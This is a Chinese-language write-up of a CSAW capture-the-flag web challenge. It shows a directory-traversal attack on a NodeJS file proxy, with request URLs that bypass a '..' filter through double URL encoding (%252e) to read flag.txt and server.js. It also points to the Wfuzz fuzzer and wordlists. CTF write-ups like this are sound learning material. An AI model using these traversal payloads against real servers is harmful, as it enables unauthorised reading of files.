題目資訊
I wrote a little proxy program in NodeJS for my poems folder.
Everyone wants to read
flag.txt
but I like it too much to share.
解法
先試試 http://web.chal.csaw.io:7311/?path=
可以看到在 poems 資料夾內的所有檔案。
再來試試 http://web.chal.csaw.io:7311/?path=../
知道應該是過慮了 ..
,嘗試了許久,連全形 N(NN)都試過了,最後終於發現可以用 double URL encoding 的 payload(參考:OWASP Testing Directory traversal)
Double URL encoding: . => %2e => %252e
嘗試 http://web.chal.csaw.io:7311/?path=.%252e/
連上 http://web.chal.csaw.io:7311/?path=.%252e/flag.txt 拿到 flag
Flag: flag{thank_you_based_orange_for_this_ctf_challenge}
後記
順便把 server.js
撈了出來以供研究,結果發現居然有擋NN XDD
不愧是 orange ,自己研究出的東西自己擋掉 XDD
附註
解題中找到了一個不錯的工具跟 wordlist
Wfuzz - The Web fuzzer 官網
Wfuzz Github
Wfuzz wordlist
最後把 wordlist/vulns/cgis.txt 裡的東西拿來試試看,終於解出來了~
覺得感動QwQ